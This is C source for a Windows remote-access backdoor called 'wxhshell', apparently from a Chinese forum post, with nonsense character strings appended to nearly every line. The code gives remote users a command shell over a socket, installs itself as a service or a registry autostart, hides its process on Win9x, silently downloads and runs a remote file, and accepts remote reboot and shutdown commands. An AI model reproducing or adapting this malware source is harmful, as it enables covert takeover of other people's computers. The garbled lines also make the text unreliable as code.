      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _D{{C  
    break; %_(^BZd  
  } _xM}*_<VP  
  // 安装 Lh-+i  
  case 'i': { Tdxc%'l  
    if(Install()) )`#SMLMy~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (g>&ov(d  
    else ll ^I ;o0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a|ZJzuqo  
    break; v2ab84 C*  
    } ;ykX]5jGh  
  // 卸载 7yal  T.  
  case 'r': { zUA -  
    if(Uninstall()) #[]B: n6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]4Q~x  
    else # ';b>J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ),@m 3wQ  
    break; 6u,w  
    } b2^O$ l  
  // 显示 wxhshell 所在路径 c3)6{  
  case 'p': { }-@h H(  
    char svExeFile[MAX_PATH]; $e%m=@ga  
    strcpy(svExeFile,"\n\r"); RijFN.s  
      strcat(svExeFile,ExeFile); R=C+]  
        send(wsh,svExeFile,strlen(svExeFile),0); "d*-k R  
    break; =.IAd< C  
    } n],"!>=+  
  // 重启 7Q|v5@;pU  
  case 'b': { .X"\ Mg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {A\y 4D@  
    if(Boot(REBOOT)) pYj}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gb26Y!7%  
    else { '/fueku  
    closesocket(wsh); }0 Fu  
    ExitThread(0); d&X <&)a7  
    } A<-3u  
    break; A/OGF>  
    } #Wt1Ph_;  
  // 关机 ^= '+#|:  
  case 'd': { $*7AG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~,{nBp9*  
    if(Boot(SHUTDOWN)) qdZo cTf'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #&Zj6en}M]  
    else { h@{CMe  
    closesocket(wsh); [a k[ZXC,  
    ExitThread(0); mpzm6I eu  
    } (wp?tMN5#  
    break; bKQ-PM&I/t  
    } fK4NmdTV  
  // 获取shell `<?((l%;R  
  case 's': { FD.L{  
    CmdShell(wsh); 4Z/ ]7Ie  
    closesocket(wsh); |Gt]V`4  
    ExitThread(0); {WuUzq`  
    break; #Qd"d3QG  
  } Gu%}B@4^  
  // 退出 TYedem<$  
  case 'x': { {+ WI>3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \P9HAz'6  
    CloseIt(wsh); $kh6-y@  
    break; )z7+%nTO  
    } \Bn$b2j!%  
  // 离开 rlkg.e6  
  case 'q': { = $6pL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +|Mi lwr  
    closesocket(wsh); I_'0!@Nn7  
    WSACleanup(); jxZd =%7Q  
    exit(1); }#E~XlX^  
    break; %loe8yt  
        } okD7!)cr=  
  } !qJ|`o Y  
  } #po}Y  
0GnbE2&  
  // 提示信息 6}q# c  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $1myf Z  
} ^qPS&G  
  } WQ1*)h8,9  
^4tz*i  
  return; ]|/\Sd  
} !Baq4V?KN  
vU, ]UJ}  
// shell模块句柄 } mEsb?  
int CmdShell(SOCKET sock) x2z%J,z@4  
{ >=ng?  
STARTUPINFO si; g/x\#W  
ZeroMemory(&si,sizeof(si)); /qO?)p3gk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EXT_x q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +#g?rCz  
PROCESS_INFORMATION ProcessInfo; &;oWmmvz{  
char cmdline[]="cmd"; 4vf,RjB-5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <{Ir',;  
  return 0; }aa ~@K<A  
} <utD&D8w  
+X7+:QQ }  
// 自身启动模式 T\o!^|8  
int StartFromService(void) YGr^uTQb  
{ %/=#8v4*  
typedef struct /,2${$c!  
{ {;ur~KE  
  DWORD ExitStatus; ;PhX[y^*  
  DWORD PebBaseAddress; L51uC ,QF  
  DWORD AffinityMask; }&Jml%F4uR  
  DWORD BasePriority; 1R"ymWg"  
  ULONG UniqueProcessId; H He~OxWg  
  ULONG InheritedFromUniqueProcessId; @|J+ f5O  
}   PROCESS_BASIC_INFORMATION; DmgWIede|:  
OcGHMGdn  
PROCNTQSIP NtQueryInformationProcess; w1P8p>vA1  
r2 o-/$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _sp/RU,J-3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s1NRUV2E  
:1\QM'O  
  HANDLE             hProcess; WjvD C"  
  PROCESS_BASIC_INFORMATION pbi; EcW$'>^  
cakb.Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,-{ 2ai_  
  if(NULL == hInst ) return 0; $@:z4S(  
7nL3+Pq  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X?Mc"M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bol#[_~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]o\y(!  
YPqp#X*  
  if (!NtQueryInformationProcess) return 0; rocG;$[  
:$>TeCm  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Rw\S-z/  
  if(!hProcess) return 0; . ;q 4<_  
:]oRx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @q]{s+#Xf  
T'nQj<dBt:  
  CloseHandle(hProcess); naoH685R4  
y!?l;xMS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DEkFmmw   
if(hProcess==NULL) return 0; pn6!QpV5  
~wsD g[  
HMODULE hMod; ?H_'L4Wv  
char procName[255]; A 9HJWKO  
unsigned long cbNeeded; )Vb_0n=^  
 ?[G!6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QcDWVM'v  
xl~%hwBd  
  CloseHandle(hProcess); S<V__Sv  
PME ?{%&  
if(strstr(procName,"services")) return 1; // 以服务启动 0cm+:  
^#VyIF3q  
  return 0; // 注册表启动 gr")Jw7  
} r*!sA5  
r&t)%R@q  
// 主模块 =?/RaK/ w  
int StartWxhshell(LPSTR lpCmdLine) *n=NBkq%/!  
{ xW;-=Q  
  SOCKET wsl; j7)Xm,wI8  
BOOL val=TRUE; 2So7fZa^wg  
  int port=0; U ExK|t  
  struct sockaddr_in door; dM1)wkbET  
UldG0+1d  
  if(wscfg.ws_autoins) Install(); /Ma"a ^  
oG)JH)!  
port=atoi(lpCmdLine); w3=Bj  
}#/,nJm'  
if(port<=0) port=wscfg.ws_port; v"6ij k&(  
eSgCS*}0$z  
  WSADATA data; @P^8?!i+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'e4  ;,m  
RqIic\aD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /f7Fv*z/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6NV- &0 _  
  door.sin_family = AF_INET; ^p0BeSRiy;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FasA f( 3  
  door.sin_port = htons(port); {yy ^DlHb  
"s]c79t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bX:ARe O  
closesocket(wsl); y+XB  
return 1; n(gw%w+\7  
} 0vs9# <&V  
q=5#t~?  
  if(listen(wsl,2) == INVALID_SOCKET) { Ny>tJ~I  
closesocket(wsl); 4 }l,F  
return 1; r2T-=XWB  
} i[~oMwc&  
  Wxhshell(wsl); b0 CtQe  
  WSACleanup(); P{eL;^I  
!S[8w9q  
return 0; |-hzvuSX  
#KonVM(`  
} f.`noZN  
T6|zT}cb  
// 以NT服务方式启动 !TRJsL8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p AzPi  
{ x8 sSb:N  
DWORD   status = 0; (L?fYSP!  
  DWORD   specificError = 0xfffffff; yFT)R hN  
kne{Tp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; X$zlR) Re  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i!jZZj-{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k=<,A'y-/  
  serviceStatus.dwWin32ExitCode     = 0; \d0R&vFHQ  
  serviceStatus.dwServiceSpecificExitCode = 0; Z~t OR{q  
  serviceStatus.dwCheckPoint       = 0; "qRE1j@%a  
  serviceStatus.dwWaitHint       = 0; T1p A <6  
xD;5z`A3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dlC)&Ai  
  if (hServiceStatusHandle==0) return; zLlu% Oc  
M?4)U"_VE  
status = GetLastError(); 9}FWO&LiB  
  if (status!=NO_ERROR) 3y%B&W,sm  
{ c,1Yxg]|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kmM1)- v  
    serviceStatus.dwCheckPoint       = 0; ]k%Yz@*S  
    serviceStatus.dwWaitHint       = 0; 'w`:p{E  
    serviceStatus.dwWin32ExitCode     = status; (z0S5#g ,x  
    serviceStatus.dwServiceSpecificExitCode = specificError; o[Yxh%T  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Da!A1|"  
    return; ~ jb6  
  } #]i*u1  
3u7N/OQ(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &,xN$  
  serviceStatus.dwCheckPoint       = 0; h#?L6<*tm  
  serviceStatus.dwWaitHint       = 0; 5tg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kScq#<Y&  
} #J]u3*T n|  
}+0{opY4R  
// 处理NT服务事件,比如:启动、停止 ;CD.8f]N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Dx =ms^oN5  
{ 7z"xjA  
switch(fdwControl) {T Z7>k  
{ 15_OtK  
case SERVICE_CONTROL_STOP: _PrK6M@"L  
  serviceStatus.dwWin32ExitCode = 0; w4 <FC$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; oBr/CW  
  serviceStatus.dwCheckPoint   = 0; vBUx )l  
  serviceStatus.dwWaitHint     = 0; RF 4u\ \  
  { "#2z 'J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S*6P=O*  
  } 1Tf"<D p  
  return; pGz-5afL  
case SERVICE_CONTROL_PAUSE: \~1M\gZP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kC"<4U  
  break; Uu{I4ls6B  
case SERVICE_CONTROL_CONTINUE: 6)m}e?D>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; imAsE;:  
  break; Z VuHO7'  
case SERVICE_CONTROL_INTERROGATE: IpmblC4  
  break; <Brq7:n|  
}; @gQ{*dN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }.Ht=E]  
} JS r& S[  
~k?7XF I  
// 标准应用程序主函数 5bX SN$7|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c4oQ4  
{ - *!R  
1`N q K  
// 获取操作系统版本 }3F8[Td.~N  
OsIsNt=GetOsVer(); W XDl\*n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9hEIf,\  
-Zd!0HNW1  
  // 从命令行安装 1q<BYc+z  
  if(strpbrk(lpCmdLine,"iI")) Install(); {wRsV=*  
2e zQX2q  
  // 下载执行文件 CN@bJo2  
if(wscfg.ws_downexe) { M ()&GlNs  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cj@Ygc)n  
  WinExec(wscfg.ws_filenam,SW_HIDE); LFob1HH*8  
} 9D++SU2 :}  
) f9f_^;  
if(!OsIsNt) { X>j% y7v  
// 如果时win9x,隐藏进程并且设置为注册表启动 Oemi}  
HideProc(); `uy)][j-  
StartWxhshell(lpCmdLine); ulV)X/]1  
} xz5Jli  
else jXkz,]Iy  
  if(StartFromService()) Ub*Gv(Pg  
  // 以服务方式启动 .t''(0_kC  
  StartServiceCtrlDispatcher(DispatchTable); Vu0jNKUV  
else C Fq3  
  // 普通方式启动 4G0Er?D   
  StartWxhshell(lpCmdLine); "5u*C#T2$  
bl NJ  
return 0; TaeN?jc5  
}
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只看该作者 1 发表于: 2006-10-10
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